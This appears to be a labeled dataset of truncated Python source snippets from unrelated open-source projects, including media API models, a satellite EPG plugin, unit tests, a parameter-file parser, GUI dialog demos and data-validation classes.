FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # from brightcove.core import APIObject, Field, DateTimeField, ListField, EnumField from brightcove.objects import ItemCollection, enum ChannelNameEnum = enum('ten', 'eleven', 'one') PlaylistTypeEnum = enum('full_episodes', 'web_extras', 'news', 'season', 'week', 'category', 'special', 'preview') MediaDeliveryEnum = enum('default', 'http', 'http_ios') class EnumNumField(Field): def __init__(self, enum_cls, help=None): self.help = help self.enum_cls = enum_cls def to_python(self, value): for i, field in enumerate(self.enum_cls._fields): if i == value: return field raise Exception('Invalid Enum: %s' % value) def from_python(self, value): return self.enum_cls._fields[value] class Playlist(APIObject): _fields = ['name', 'type', 'season', 'week', 'query'] type = EnumField(PlaylistTypeEnum) def __repr__(self): return ''.format(self.name) class Show(APIObject): _fields = ['showName', 'channelName', 'videoLink', 'mobileLink', 'logo', 'fanart', 'playlists'] channelName = EnumField(ChannelNameEnum) playlists = ListField(Playlist) def __repr__(self): return ''.format(self.showName) class AMFRendition(APIObject): _fields = ['defaultURL', 'audioOnly', 'mediaDeliveryType', 'encodingRate', 'frameHeight', 'frameWidth', 'size', 'videoCodec', 'videoContainer'] mediaDeliveryType = EnumNumField(MediaDeliveryEnum) def __repr__(self): return ''.format(self.encodingRate, self.mediaDeliveryType, self.frameWidth, self.frameHeight) class ShowItemCollection(ItemCollection): _item_class = Show items = ListField(Show) class PlaylistItemCollection(ItemCollection): _item_class = Playlist items = ListField(Playlist) class MediaRenditionItemCollection(ItemCollection): _item_class = AMFRendition items = ListField(AMFRendition) ",1 "ens.Standby import TryQuitMainloop from . crossepglib import * from . crossepg_downloader import CrossEPG_Downloader from . crossepg_importer import CrossEPG_Importer from . crossepg_converter import CrossEPG_Converter from . crossepg_loader import CrossEPG_Loader from . crossepg_setup import CrossEPG_Setup from . crossepg_menu import CrossEPG_Menu from . crossepg_auto import CrossEPG_Auto class CrossEPG_Main: def __init__(self): self.config = CrossEPG_Config() self.patchtype = getEPGPatchType() def downloader(self, session): self.session = session CrossEPG_Auto.instance.lock = True CrossEPG_Auto.instance.stop() self.config.load() if self.config.configured == 0: self.session.openWithCallback(self.configureCallback, MessageBox, _(""You need to configure crossepg before starting downloader.\nWould You like to do it now ?""), type=MessageBox.TYPE_YESNO) else: self.config.deleteLog() self.session.openWithCallback(self.downloadCallback, CrossEPG_Downloader, self.config.providers) def configureCallback(self, result): if result is True: self.session.open(CrossEPG_Setup) def loaderAsPlugin(self, session): self.session = session CrossEPG_Auto.instance.lock = True CrossEPG_Auto.instance.stop() self.loader() def downloadCallback(self, ret): if ret: if self.config.csv_import_enabled == 1: self.importer() else: if self.patchtype != 3: self.converter() else: self.loader() else: CrossEPG_Auto.instance.lock = False def importer(self): self.session.openWithCallback(self.importerCallback, CrossEPG_Importer) def importerCallback(self, ret): if ret: if self.patchtype != 3: self.converter() else: self.loader() else: CrossEPG_Auto.instance.lock = False def converter(self): self.session.openWithCallback(self.converterCallback, CrossEPG_Converter) def converterCallback(self, ret): if ret: if self.patchtype != -1: self.loader() else: if self.config.download_manual_reboot: self.session.open(TryQuitMainloop, 3) else: CrossEPG_Auto.instance.lock = False else: CrossEPG_Auto.instance.lock = False def loader(self): self.session.openWithCallback(self.loaderCallback, CrossEPG_Loader) def loaderCallback(self, ret): CrossEPG_Auto.instance.lock = False def setup(self, session, **kwargs): CrossEPG_Auto.instance.lock = True session.openWithCallback(self.setupCallback, CrossEPG_Menu) def setupCallback(self): CrossEPG_Auto.instance.lock = False CrossEPG_Auto.instance.doneConfiguring() crossepg_main = CrossEPG_Main() ",1 "it under # the terms of the GNU Lesser General Public License as published by the # Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Iris is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Iris. If not, see . """"""Unit tests for the `iris.quickplot.points` function."""""" from __future__ import (absolute_import, division, print_function) from six.moves import (filter, input, map, range, zip) # noqa # Import iris.tests first so that some things can be initialised before # importing anything else. import iris.tests as tests from iris.tests.unit.plot import TestGraphicStringCoord if tests.MPL_AVAILABLE: import iris.quickplot as qplt @tests.skip_plot class TestStringCoordPlot(TestGraphicStringCoord): def test_yaxis_labels(self): qplt.points(self.cube, coords=('bar', 'str_coord')) self.assertBoundsTickLabels('yaxis') def test_xaxis_labels(self): qplt.points(self.cube, coords=('str_coord', 'bar')) self.assertBoundsTickLabels('xaxis') if __name__ == ""__main__"": tests.main() ",1 "e. Parameters ---------- aFile : string, required The path to a file to read. Returns ------- A list of CMTs found in a file. ''' data = read_paramfile(aFile) cmtkey_list = [] for line in data: if line.find('CMT') >= 0: sidx = line.find('CMT') cmtkey_list.append(line[sidx:sidx+5]) return cmtkey_list def find_cmt_start_idx(data, cmtkey): ''' Finds the starting index for a CMT data block in a list of lines. Parameters ---------- data : [str, str, ...] A list of strings (maybe from a parameter file) cmtkey : str A a CMT code string like 'CMT05' to search for in the list. Returns ------- i : int The first index in the list where the CMT key is found. If key is not found returns None. ''' for i, line in enumerate(data): if cmtkey.upper() in line: return i # Key not found return None def read_paramfile(thefile): ''' Opens and reads a file, returning the data as a list of lines (with newlines). Parameters ---------- theFile : str A path to a file to open and read. Returns ------- d : [str, str, str, ...] A list of strings (with newlines at the end of each string). ''' with open(thefile, 'r') as f: data = f.readlines() return data def get_CMT_datablock(afile, cmtnum): ''' Search file, returns the first block of data for one CMT as a list of strings. Parameters ---------- afile : str Path to a file to search. cmtnum : int The CMT number to search for. Converted (internally) to the CMT key. Returns ------- d : [str, str, ...] A list of strings, one item for each line in the CMT's datablock. Each string will have a newline charachter in it. ''' data = read_paramfile(afile) cmtkey = 'CMT%02i' % cmtnum startidx = find_cmt_start_idx(data, cmtkey) end = None for i, line in enumerate(data[startidx:]): if i == 0: # Header line, e.g.: ""// CMT07 // Heath Tundra - (ma....."""" pass elif i == 1: # PFT name line, e,g.: ""//Decid. E.green ...."" # Not sure how/why this is working on non-PFT data blocks # but is seems to do the trick? pass if (i > 0) and ""CMT"" in line: #print ""end of datablock, i="", i end = startidx + i break return data[startidx:end] def detect_block_with_pft_info(cmtdatablock): # Perhaps should look at all lines?? secondline = cmtdatablock[1].strip(""//"").split() if len(secondline) >= 9: #print ""Looks like a PFT header line!"" return True else: return False def parse_header_line(datablock): '''Splits a header line into components: cmtkey, text name, comment. Assumes a CMT block header line looks like this: // CMT07 // Heath Tundra - (ma..... ''' # Assume header is first line l0 = datablock[0] # Header line, e.g: header = l0.strip().strip(""//"").strip().split(""//"") hdr_cmtkey = header[0].strip() txtcmtname = header[1].strip().split('-')[0].strip() hdrcomment = header[1].strip().split('-')[1].strip() return hdr_cmtkey, txtcmtname, hdrcomment def get_pft_verbose_name(cmtkey=None, pftkey=None, cmtnum=None, pftnum=None): path2params = os.path.join(os.path.split(os.path.dirname(os.path.realpath(__file__)))[0], 'parameters/') if cmtkey and cmtnum: raise ValueError(""you must provide only one of you cmtkey or cmtnumber"") if pftkey and pftnum: raise ValueError(""you must provide only one of pftkey or pftnumber"") if cmtkey: # convert to number cmtnum = int(cmtkey.lstrip('CMT')) if pftnum: # convert to key pftkey = 'pft%i' % pftnum data = get_CMT_datablock(os.path.join(path2params, 'cmt_calparbgc.txt'), cmtnum) dd = cmtdatablock2dict(data) return dd[pftkey.lower()]['name'] def cmtdatablock2dict(cmtdatablock): ''' Converts a ""CMT datablock"" (list of strings) into a dict structure. Parameters ---------- cmtdatablock : [str, str, ...] A list of strings (with new lines) holding parameter data for a CMT. Returns ------- d : dict A multi-level dict mapping names (deduced from comments) to parameter values.holding parameter values. ''' cmtdict = {} pftblock = detect_block_with_pft_info(cmtdatablock) hdr_cmtkey, txtcmtname, hdrcomment = parse_header_line(cmtdatablock) cmtdict['tag'] = hdr_cmtkey cmtdict['cmtname'] = txtcmtname cmtdict['comment'] = hdrcomment if pftblock: # Look at the second line for something like this: # PFT name line, like: ""//Decid. E.green ...."" pftlist = cmtdatablock[1].strip(""//"").strip().split() pftnames = pftlist[0:10] for i, pftname in enumerate(pftnames): cmtdict['pft%i'%i] = {} cmtdict['pft%i'%i]['name'] = pftname for i, line in enumerate(cmtdatablock): if line.strip()[0:2] == ""//"": #print ""passing line"", i continue # Nothing to do...commented line else: # normal data line dline = line.strip().split(""//"") values = dline[0].split() comment = dline[1].strip().strip(""//"").split(':')[0] if len(values) >= 5: # <--ARBITRARY! likely a pft data line? for i, value in enumerate(values): cmtdict['pft%i'%i][comment] = float(value) else: cmtdict[comment] = float(values[0]) return cmtdict def format_CMTdatadict(dd, refFile, format=None): ''' Returns a formatted block of CMT data. Parameters ---------- dd : dict Dictionary containing parameter names and values for a CMT. refFile : str A path to a file that should be used for reference in formatting the output. format : str (optional) A string specifying which format to return. Defaults to None. Returns ------- d : [str, str, ...] A list of strings ''' if format is not None: print ""NOT IMPLEMENTED YET!"" exit(-1) ref_order = generate_reference_order(refFile) dwpftvs = False ll = [] ll.append(""// First line comment..."") ll.append(""// Second line comment (?? PFT string?)"") def is_pft_var(v): if v not in dd.keys() and v in dd['pft0'].keys(): return True else: return False for var in ref_order: if not is_pft_var(var): pass else: # get each item from dict, append to line linestring = '' for pft in get_datablock_pftkeys(dd): linestring += ""{:>12.6f} "".format(dd[pft][var]) linestring += ('// %s: ' % var) ll.append(linestring) for var in ref_order: if is_pft_var(var): pass # Nothing to do; already did pft stuff else: # get item from dict, append to line ll.append('{:<12.5f} // comment??'.format(dd[var])) return ll def generate_reference_order(aFile): ''' Lists order that variables should be in in a parameter file based on CMT 0. Parameters ---------- aFile: str The file to use as a base. Returns ------- l : [str, str, ...] A list of strings containing the variable names, parsed from the input file in the order they appear in the input file. ''' cmt_calparbgc = [] db = get_CMT_datablock(aFile, 0) pftblock = detect_block_with_pft_info(db) ref_order = [] for line in db: t = comment_splitter(line) if t[0] == '': pass # nothing before the comment, ignore this line - is has no data else: # looks like t0 has some data, so now we need the # comment (t[1]) which we will further refine to get the # tag, which we will append to the ""reference order"" list tokens = t[1].strip().lstrip(""//"").strip().split("":"") tag = tokens[0] desc = """".join(tokens[1:]) print ""Found tag:"", tag, "" Desc: "", desc ref_order.append(tag) return ref_order def comment_splitter(line): ''' Splits a string into data before comment and after comment. The comment delimiter ('//') will be included in the after component. Parameters ---------- line : str A string representing the line of data. May or may not contain the comment delimiter. Returns ------- t : (str, str) - Tuple of strings. A tuple containing the ""before comment"" string, and the ""after comment"" string. The ""after commnet"" string will include the comment charachter. ''' cmtidx = line.find(""//"") if cmtidx < 0: return (line, '') else: return (line[0:cmtidx], line[cmtidx:]) def get_datablock_pftkeys(dd): ''' Returns a sorted list of the pft keys present in a CMT data dictionary. Parameters ---------- dd : dict A CMT data dictionary (as might be created from cmtdatablock2dict(..)). Returns ------- A sorted list of the keys present in dd that contain the string 'pft'. ''' return sorted([i for i in dd.keys() if 'pft' in i]) def enforce_initvegc_split(aFile, cmtnum): ''' Makes sure that the 'cpart' compartments variables match the proportions set in initvegc variables in a cmt_bgcvegetation.txt file. The initvegc(leaf, wood, root) variables in cmt_bgcvegetation.txt are the measured values from literature. The cpar(leaf, wood, root) variables, which are in the same file, should be set to the fractional make up of the the components. So if the initvegc values for l, w, r are 100, 200, 300, then the cpart values should be 0.166, 0.33, and 0.5. It is very easy for these values to get out of sync when users manually update the parameter file. Parameters ---------- aFile : str Path to a parameter file to work on. Must have bgcvegetation.txt in the name and must be a 'bgcvegetation' parameter file for this function to make sense and work. cmtnum : int The community number in the file to work on. Returns ------- d : dict A CMT data dictionary with the updated cpart values. ''' if ('bgcvegetation.txt' not in aFile): raise ValueError(""This function only makes sense on cmt_bgcvegetation.txt files."") d = get_CMT_datablock(aFile, cmtnum) dd = cmtdatablock2dict(d) for pft in get_datablock_pftkeys(dd): sumC = dd[pft]['initvegcl'] + dd[pft]['initvegcw'] + dd[pft]['initvegcr'] if sumC > 0.0: dd[pft]['cpartl'] = dd[pft]['initvegcl'] / sumC dd[pft]['cpartw'] = dd[pft]['initvegcw'] / sumC dd[pft]['cpartr'] = dd[pft]['initvegcr'] / sumC else: dd[pft]['cpartl'] = 0.0 dd[pft]['cpartw'] = 0.0 dd[pft]['cpartr'] = 0.0 return dd if __name__ == '__main__': print ""NOTE! Does not work correctly on non-PFT files yet!!"" testFiles = [ 'parameters/cmt_calparbgc.txt', 'parameters/cmt_bgcsoil.txt', 'parameters/cmt_bgcvegetation.txt', 'parameters/cmt_calparbgc.txt.backupsomeparams', 'parameters/cmt_dimground.txt', 'parameters/cmt_dimvegetation.txt', 'parameters/cmt_envcanopy.txt', 'parameters/cmt_envground.txt', 'parameters/cmt_firepar.txt' ] for i in testFiles: print ""{:>45s}: {}"".format(i, get_CMTs_in_file(i)) # for i in testFiles: # print ""{:>45s}"".format(i) # print """".join(get_CMT_datablock(i, 2)) # print ""{:45s}"".format(""DONE"") d = get_CMT_datablock(testFiles[4], 2) print """".join(d) print json.dumps(cmtdatablock2dict(d), sort_keys=True, indent=2) print ""NOTE! Does not work correctly on non-PFT files yet!!"" ",1 "t hints from grr.lib.rdfvalues import client as rdf_client from grr.lib.rdfvalues import config_file as rdf_config_file from grr.lib.rdfvalues import protodict as rdf_protodict class HintsTests(test_lib.GRRBaseTest): """"""Test hint operations."""""" def testCheckOverlay(self): """"""Overlay(hint1, hint2) should populate hint2 with the values of hint1."""""" # Fully populated hint. full = { ""problem"": ""Terminator needs trousers.\n"", ""fix"": ""Give me your clothes.\n"", ""format"": ""{mission}, {target}\n"", ""summary"": ""I'll be back."" } # Partial hint partial = { ""problem"": ""Terminator needs to go shopping."", ""fix"": ""Phased plasma rifle in the 40-watt range."", ""format"": """", ""summary"": """" } # Partial overlaid with full. overlay = { ""problem"": ""Terminator needs to go shopping."", ""fix"": ""Phased plasma rifle in the 40-watt range."", ""format"": ""{mission}, {target}"", ""summary"": ""I'll be back."" } # Empty hint. empty = {""problem"": """", ""fix"": """", ""format"": """", ""summary"": """"} # Empty hint should not clobber populated hint. starts_full = full.copy() starts_empty = empty.copy() hints.Overlay(starts_full, starts_empty) self.assertDictEqual(full, starts_full) self.assertDictEqual(empty, starts_empty) # Populate empty hint from partially populated hint. starts_partial = partial.copy() starts_empty = empty.copy() hints.Overlay(starts_empty, starts_partial) self.assertDictEqual(partial, starts_partial) self.assertDictEqual(partial, starts_empty) # Overlay the full and partial hints to get the hybrid. starts_full = full.copy() starts_partial = partial.copy() hints.Overlay(starts_partial, starts_full) self.assertDictEqual(full, starts_full) self.assertDictEqual(overlay, starts_partial) def testRdfFormatter(self): """"""Hints format RDF values with arbitrary values and attributes."""""" # Create a complex RDF value rdf = rdf_client.ClientSummary() rdf.system_info.system = ""Linux"" rdf.system_info.node = ""coreai.skynet.com"" # Users (repeated) rdf.users = [rdf_client.User(username=u) for u in (""root"", ""jconnor"")] # Interface (nested, repeated) addresses = [ rdf_client.NetworkAddress(human_readable=a) for a in (""1.1.1.1"", ""2.2.2.2"", ""3.3.3.3"") ] eth0 = rdf_client.Interface(ifname=""eth0"", addresses=addresses[:2]) ppp0 = rdf_client.Interface(ifname=""ppp0"", addresses=addresses[2]) rdf.interfaces = [eth0, ppp0] template = (""{system_info.system} {users.username} {interfaces.ifname} "" ""{interfaces.addresses.human_readable}\n"") hinter = hints.Hinter(template=template) expected = ""Linux root,jconnor eth0,ppp0 1.1.1.1,2.2.2.2,3.3.3.3"" result = hinter.Render(rdf) self.assertEqual(expected, result) def testRdfFormatterHandlesKeyValuePair(self): """"""rdfvalue.KeyValue items need special handling to expand k and v."""""" key = rdf_protodict.DataBlob().SetValue(""skynet"") value = rdf_protodict.DataBlob().SetValue([1997]) rdf = rdf_protodict.KeyValue(k=key, v=value) template = ""{k}: {v}"" hinter = hints.Hinter(template=template) expected = ""skynet: 1997"" result = hinter.Render(rdf) self.assertEqual(expected, result) def testRdfFormatterAttributedDict(self): sshd = rdf_config_file.SshdConfig() sshd.config = rdf_protodict.AttributedDict(skynet=""operational"") template = ""{config.skynet}"" hinter = hints.Hinter(template=template) expected = ""operational"" result = hinter.Render(sshd) self.assertEqual(expected, result) def testRdfFormatterFanOut(self): rdf = rdf_protodict.Dict() user1 = rdf_client.User(username=""drexler"") user2 = rdf_client.User(username=""joy"") rdf[""cataclysm""] = ""GreyGoo"" rdf[""thinkers""] = [user1, user2] rdf[""reference""] = { ""ecophage"": [""bots"", [""nanobots"", [""picobots""]]], ""doomsday"": { ""books"": [""cats cradle"", ""prey""] } } template = (""{cataclysm}; {thinkers.username}; {reference.ecophage}; "" ""{reference.doomsday}\n"") hinter = hints.Hinter(template=template) expected = (""GreyGoo; drexler,joy; bots,nanobots,picobots; "" ""books:cats cradle,prey"") result = hinter.Render(rdf) self.assertEqual(expected, result) def testStatModeFormat(self): rdf = rdf_client.StatEntry(st_mode=33204) expected = ""-rw-rw-r--"" template = ""{st_mode}"" hinter = hints.Hinter(template=template) result = hinter.Render(rdf) self.assertEqual(expected, result) def main(argv): test_lib.main(argv) if __name__ == ""__main__"": flags.StartMain(main) ",1 "e code is governed by a license that can be found in # the LICENSE file. import random import unittest from lib import unigraph class UnigraphExtra(unigraph.Unigraph): def has_edge(self, left_vertex, right_vertex): if left_vertex == right_vertex: return True else: return right_vertex in self._vertices[left_vertex] class UnigraphEdgeTestCase(unittest.TestCase): def setUp(self): self.graph = UnigraphExtra(random.randrange(10, 15)) for edge in range(2 * self.graph.vertices()): f, t = (random.randrange(self.graph.vertices()) for x in range(2)) self.graph.add_edge(f, t) def test_edge(self): for vertex in range(self.graph.vertices()): existing_vertices = set(self.graph._vertices[vertex]) all_vertices = set(range(self.graph.vertices())) missing_vertices = all_vertices - all_vertices for adj_vertex in existing_vertices: self.assertTrue(self.graph.has_edge(vertex, adj_vertex)) for adj_vertex in missing_vertices: self.assertFalse(self.graph.has_edge(vertex, adj_vertex)) def test_self_loop(self): for vertex in range(self.graph.vertices()): self.assertTrue(self.graph.has_edge(vertex, vertex)) if ""__main__"" == __name__: unittest.main() ",1 "logs.py - Show mga msg dialog and about dialog. # # License: GPLv3 # Author: Angelo Naselli ############################################################################# ########### # imports # ########### import sys sys.path.insert(0,'../../../build/swig/python') import os import yui log = yui.YUILog.instance() log.setLogFileName(""/tmp/debug.log"") log.enableDebugLogging( True ) appl = yui.YUI.application() appl.setApplicationTitle(""Show dialogs example"") ################# # class mainGui # ################# class Info(object): def __init__(self,title,richtext,text): self.title=title self.richtext=richtext self.text=text class mainGui(): """""" Main class """""" def __init__(self): self.factory = yui.YUI.widgetFactory() self.dialog = self.factory.createPopupDialog() mainvbox = self.factory.createVBox(self.dialog) frame = self.factory.createFrame(mainvbox,""Test frame"") HBox = self.factory.createHBox(frame) self.aboutbutton = self.factory.createPushButton(HBox,""&About"") self.closebutton = self.factory.createPushButton(self.factory.createRight(HBox), ""&Close"") def ask_YesOrNo(self, info): yui.YUI.widgetFactory mgafactory = yui.YMGAWidgetFactory.getYMGAWidgetFactory(yui.YExternalWidgets.externalWidgetFactory(""mga"")) dlg = mgafactory.createDialogBox(yui.YMGAMessageBox.B_TWO) dlg.setTitle(info.title) dlg.setText(info.text, info.richtext) dlg.setButtonLabel(""Yes"", yui.YMGAMessageBox.B_ONE) dlg.setButtonLabel(""No"", yui.YMGAMessageBox.B_TWO) dlg.setMinSize(50, 5); return dlg.show() == yui.YMGAMessageBox.B_ONE def aboutDialog(self): yui.YUI.widgetFactory; mgafactory = yui.YMGAWidgetFactory.getYMGAWidgetFactory(yui.YExternalWidgets.externalWidgetFactory(""mga"")) dlg = mgafactory.createAboutDialog(""About dialog title example"", ""1.0.0"", ""GPLv3"", ""Angelo Naselli"", ""This beautiful test example shows how it is easy to play with libyui bindings"", """") dlg.show(); def handleevent(self): """""" Event-handler for the 'widgets' demo """""" while True: event = self.dialog.waitForEvent() if event.eventType() == yui.YEvent.CancelEvent: self.dialog.destroy() break if event.widget() == self.closebutton: info = Info(""Quit confirmation"", 1, ""Are you sure you want to quit?"") if self.ask_YesOrNo(info): self.dialog.destroy() break if event.widget() == self.aboutbutton: self.aboutDialog() if __name__ == ""__main__"": main_gui = mainGui() main_gui.handleevent() ",1 " * m2, sy + dy * m2): m = m2 return (sx + dx*m, sy + dy*m) def norm(x, y): l = (x*x + y*y)**0.5 return (x/l, y/l) sx, sy = 0, 10.1 dx, dy = 1.4, -19.7 for I in range(999): sx, sy = coll(sx, sy, dx, dy) if sy > 0 and abs(sx) <= 0.01: print(I) break mx, my = norm(1, -4*sx/sy) d = mx*dx + my*dy dx, dy = -dx + 2 * mx * d, -dy + 2 * my * d ",1 ".schema import StringField, DateTimeField, IntegerField from resource_api.service import Service from resource_api.errors import ValidationError RE_SHA1 = re.compile(""^[a-f0-9]{40}$"") SHELVE_PATH = ""/tmp/school.shelve.db"" class ShelveService(Service): def __init__(self): super(ShelveService, self).__init__() self._storage = shelve.open(SHELVE_PATH, writeback=True) def _get_context(self): return {""storage"": self._storage} def _get_user(self, data): return None def __del__(self): self._storage.close() class Resource(BaseResource): def __init__(self, context): super(Resource, self).__init__(context) self._storage = context[""storage""] def exists(self, user, pk): return pk in self._storage.get(self.get_name(), {}) def get_data(self, user, pk): return self._storage.get(self.get_name(), {}).get(pk) def delete(self, user, pk): self._storage.get(self.get_name(), {}).pop(pk) self._storage.sync() def create(self, user, pk, data): if self.get_name() not in self._storage: self._storage[self.get_name()] = {} self._storage[self.get_name()][pk] = data self._storage.sync() def update(self, user, pk, data): self._storage[self.get_name()][pk].update(data) self._storage.sync() def get_uris(self, user, params=None): return self._storage.get(self.get_name(), {}).keys() def get_count(self, user, params=None): return len(self.get_uris(params)) class Link(BaseLink): def __init__(self, context): super(Link, self).__init__(context) self._storage = context[""storage""] def exists(self, user, pk, rel_pk): return rel_pk in self._storage.get((pk, self.get_name()), {}) def get_data(self, user, pk, rel_pk): return self._storage.get((pk, self.get_name()), {}).get(rel_pk) def create(self, user, pk, rel_pk, data=None): key = (pk, self.get_name()) if key not in self._storage: self._storage[key] = {} self._storage[key][rel_pk] = data self._storage.sync() def update(self, user, pk, rel_pk, data): self._storage[key][rel_pk].update(data) self._storage.sync() def delete(self, user, pk, rel_pk): self._storage.get((pk, self.get_name()), {}).pop(rel_pk) self._storage.sync() def get_uris(self, user, pk, params=None): return self._storage.get((pk, self.get_name()), {}).keys() def get_count(self, user, pk, params=None): return len(self.get_uris(pk, params)) class Student(Resource): """""" A pupil """""" class Schema: email = StringField(regex=""[^@]+@[^@]+\.[^@]+"", pk=True, description=""Addess to which the notifications shall be sent"") first_name = StringField(description=""Given name(s)"") last_name = StringField(description=""Family name(s)"") birthday = DateTimeField() class Links: class courses(Link): """""" Courses the student has ever attended """""" class Schema: grade = IntegerField(min_val=1, max_val=5) target = ""Course"" related_name = ""students"" master = True class comments(Link): """""" Comments made by the student """""" target = ""Comment"" related_name = ""student"" class ratings(Link): """""" Ratings given by the student """""" target = ""TeacherRating"" related_name = ""student"" class Teacher(Resource): """""" A lecturer """""" class Schema: email = StringField(regex=""[^@]+@[^@]+\.[^@]+"", pk=True, description=""Addess to which the notifications shall be sent"") first_name = StringField(description=""Given name(s)"") last_name = StringField(description=""Family name(s)"") category = StringField(description=""TQS Category"", choices=[""four"", ""five"", ""five plus"", ""six""]) class Links: class ratings(Link): """""" Ratings given to the teacher """""" target = ""TeacherRating"" related_name = ""teacher"" class courses(Link): """""" Courses the teacher is responsible for """""" target = ""Course"" related_name = ""teacher"" class Course(Resource): """""" An educational unit represinting the lessons for a specific set of topics """""" class Schema: name = StringField(pk=True, description=""Name of the course. E.g. physics, maths."") duration = IntegerField(description=""Length of the course in weeks"") class Links: class teacher(Link): """""" The lecturer of the course """""" target = ""Teacher"" related_name = ""courses"" cardinality = Link.cardinalities.ONE master = True required = True class comments(Link): """""" All comments made about the course """""" target = ""Comment"" related_name = ""course"" class ratings(Link): """""" All ratings that were given to the teachers of the specific course """""" target = ""TeacherRating"" related_name = ""course"" class students(Link): """""" All pupils who attend the course """""" target = ""Student"" related_name = ""courses"" class AutoGenSha1UriPolicy(AbstractUriPolicy): """""" Uses a randomly generated sha1 as a primary key """""" @property def type(self): return ""autogen_policy"" def generate_pk(self, data): return os.urandom(16).encode('hex') def serialize(self, pk): return pk def deserialize(self, pk): if not isinstance(pk, basestring): raise ValidationError(""Has to be string"") if not RE_SHA1.match(value): raise ValidationError(""PK is not a valid SHA1"") return pk class Comment(Resource): """""" Student's comment about the course """""" UriPolicy = AutoGenSha1UriPolicy class Schema: pk = StringField(pk=True, description=""Identifier of the resource"") value = StringField(description=""Text of the comment"") creation_time = DateTimeField(description=""Time when the comment was added (for sorting purpose)"") class Links: class student(Link): """""" The pupil who made the comment """""" target = ""Student"" related_name = ""comments"" cardinality = Link.cardinalities.ONE master = True required = True class course(Link): """""" The subject the comment was made about """""" target = ""Course"" related_name = ""comments"" cardinality = Link.cardinalities.ONE master = True required = True class TeacherRating(Resource): """""" Student's rating about teacher's performance """""" UriPolicy = AutoGenSha1UriPolicy class Schema: pk = StringField(pk=True, description=""Identifier of the resource"") value = IntegerField(min_val=0, max_val=100, description=""Lecturer's performance identifier "") creation_time = DateTimeField(description=""Time when the rating was added (for sorting purpose)"") class Links: class student(Link): """""" The pupil who gave the rating to the teacher """""" target = ""Student"" related_name = ""ratings"" cardinality = Link.cardinalities.ONE master = True required = True class course(Link): """""" The subject with respect to which the rating was given """""" target = ""Course"" related_name = ""ratings"" cardinality = Link.cardinalities.ONE master = True required = True class teacher(Link): """""" The lecturer to whom the rating is related """""" target = ""Teacher"" related_name = ""ratings"" cardinality = Link.cardinalities.ONE master = True required = True srv = ShelveService() srv.register(Student) srv.register(Teacher) srv.register(Course) srv.register(Comment) srv.register(TeacherRating) srv.setup() ",1 " Field(object): required = True """"""Field is required and an exception will be raised if missing"""""" missing_value = None """"""Value to use when field is missing and not required"""""" strict = False """"""Field value must pass validation or an exception will be raised"""""" cast_cls = None data = None def __init__(self, required=True, missing_value=None, strict=False): self.required = required self.missing_value = missing_value self.strict = strict def _validate(self, value): return True def _cast_type(self, value): return self.cast_cls(value) def set_data(self, value): if self.strict: if not self._validate(value): raise FieldValidationException('%s does not ' 'except this value' % self.__class__.__name__) elif self.cast_cls is not None: value = self._cast_type(value) self.data = value class CharField(Field): pass class StringField(Field): cast_cls = str def _validate(self, value): if not isinstance(value, (str, unicode)): return False return True class IntField(Field): cast_cls = int _cast_fallback_value = 0 def __init__(self, *args, **kwargs): super(IntField, self).__init__(*args, **kwargs) if self.missing_value is None: self.missing_value = self._cast_fallback_value def _cast_type(self, value): try: return self.cast_cls(value) except ValueError, exc: if self.missing_value is False: raise FieldTypeConversionError('Could not convert ' 'data or use missing_value: %s' % exc) return self.missing_value class FloatField(IntField): cast_class = float _cast_fallback_value = 0.0 class ListField(Field): cls = None """"""Field class to represent list items"""""" def __init__(self, cls, *args, **kwargs): assert isinstance(cls, Field), 'cls is not a valid Field instance' self.cls = cls super(ListField, self).__init__(*args, **kwargs) def _validate(self, value): if not isinstance(value, (list, tuple)): raise FieldValidationException('ListField requires data ' 'to be a sequence type') for x in value: self.cls.set_data(value) self.data = value return True class Vector(object): def __init__(self): self.input_data = {} self._fields = {} self._map = {} self._required = [] self._setup_fields() def get_name(self): return self.__class__.__name__ def __call__(self, data): return self.input(data) def input(self, data): self._map = {} if not isinstance(data, dict): raise VectorInputTypeError('Vector input not a dictionary') self._validate(data) self._map_attrs(data) def _setup_fields(self): self._fields = {} for a in dir(self): v = getattr(self, a) if isinstance(v, Field): self._fields[a] = v if v.required: self._required.append(a) self._reset_fields() def _reset_fields(self): for f in self.get_fields(): setattr(self, f, None) def _validate(self, input_data): for f in self._required: if f not in input_data: raise FieldRequiredError('Missing field %s is a required field' % f) for k, v in input_data.iteritems(): if k in self.get_fields(): f = self.get_field(k) f.set_data(v) def _map_attrs(self, input_data): self.input_data = input_data for k, v in self.input_data.iteritems(): if k in self.get_fields(): # setattr(self, k, self.get_field(k).data) self._map[k] = self.get_field(k).data else: # setattr(self, k, v) self._map[k] = v for k, v in self._map.iteritems(): setattr(self, k, v) def get_fields(self): return self._fields def get_field(self, name): return self._fields[name] @property def data(self): return self._map ",1 ", are permitted provided that the following conditions # are met: # # - Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # - Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # - Neither the name of Salesforce.com nor the names of its contributors # may be used to endorse or promote products derived from this # software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS # OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR # TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE # USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import 